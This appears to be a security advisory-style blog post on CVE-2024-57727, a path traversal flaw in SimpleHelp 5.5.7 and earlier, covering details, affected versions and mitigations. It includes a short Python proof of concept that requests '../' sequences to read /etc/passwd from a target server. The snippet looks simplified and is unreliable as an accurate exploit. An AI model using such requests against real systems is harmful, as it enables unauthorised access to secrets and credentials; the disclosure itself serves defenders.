In this long-read post, we'll discuss a critical vulnerability, CVE-2024-57727, that affects SimpleHelp remote support software versions 5.5.7 and earlier. This vulnerability could enable unauthenticated remote attackers to access and download arbitrary files from the SimpleHelp host via carefully crafted HTTP requests, leading to the compromise of sensitive data, including server configuration files containing various secrets and hashed user passwords.

Background

SimpleHelp is a widely used remote support software that allows IT technicians to provide assistance to customers across various platforms (Windows, Mac, and Linux). Refer to the SimpleHelp official website for more information.

Vulnerability Details

CVE-2024-57727 is a path traversal security vulnerability in the SimpleHelp software. This can be exploited by unauthenticated remote attackers to download arbitrary files from the host's filesystem. These files include server configuration files, which may contain various secrets and hashed user passwords. Typically, path traversal vulnerabilities allow unauthorized access to files outside the intended or restricted directory by using special directory traversal sequences (e.g., '../').

In the affected SimpleHelp versions, an attacker can send a crafted HTTP request to the host, forcing the software to return an unintended file, even if it is located outside the normal accessible application directory.

Here's a sample code snippet that demonstrates the exploit

import requests

target_url = "http://<target_url>/simplehelp/";  # Replace <target_url> with the URL of vulnerable SimpleHelp server.
exploit_path = "../../../../../../../../../etc/passwd"  # Path traversal to access the Unix system password file.

r = requests.get(target_url + exploit_path)

if r.status_code == 200:
    print("File contents:\n", r.text)
else:
    print("Failed to retrieve the file. Status code:", r.status_code)

This Python code demonstrates how an attacker could potentially exploit CVE-2024-57727 by crafting an HTTP request that takes advantage of path traversal to a file located outside the normal accessible application directory.

Affected Versions

SimpleHelp remote support software v5.5.7 and earlier versions are affected by CVE-2024-57727.

Mitigation

To mitigate this vulnerability, users should immediately update to the latest version of SimpleHelp remote support software available on their official website.

Restrict access to the SimpleHelp server to trusted sources only.

- Configure the server firewall to filter incoming requests based on IP addresses, reducing the potential attack surface.

Limit the use of services running with high privileges (root or admin access), if possible.

Original References

The vulnerability has been disclosed and reported by security researchers and acknowledged by the SimpleHelp team. More information can be found in the CVE-2024-57727 Official Entry and the National Vulnerability Database record.

Conclusion

CVE-2024-57727 is a critical security vulnerability affecting SimpleHelp remote support software versions 5.5.7 and earlier. To safeguard their systems from potential attacks, users are advised to follow the mitigation steps outlined above, including updating their software to the latest version.

Timeline

Published on: 01/15/2025 23:15:09 UTC
Last modified on: 01/31/2025 21:15:12 UTC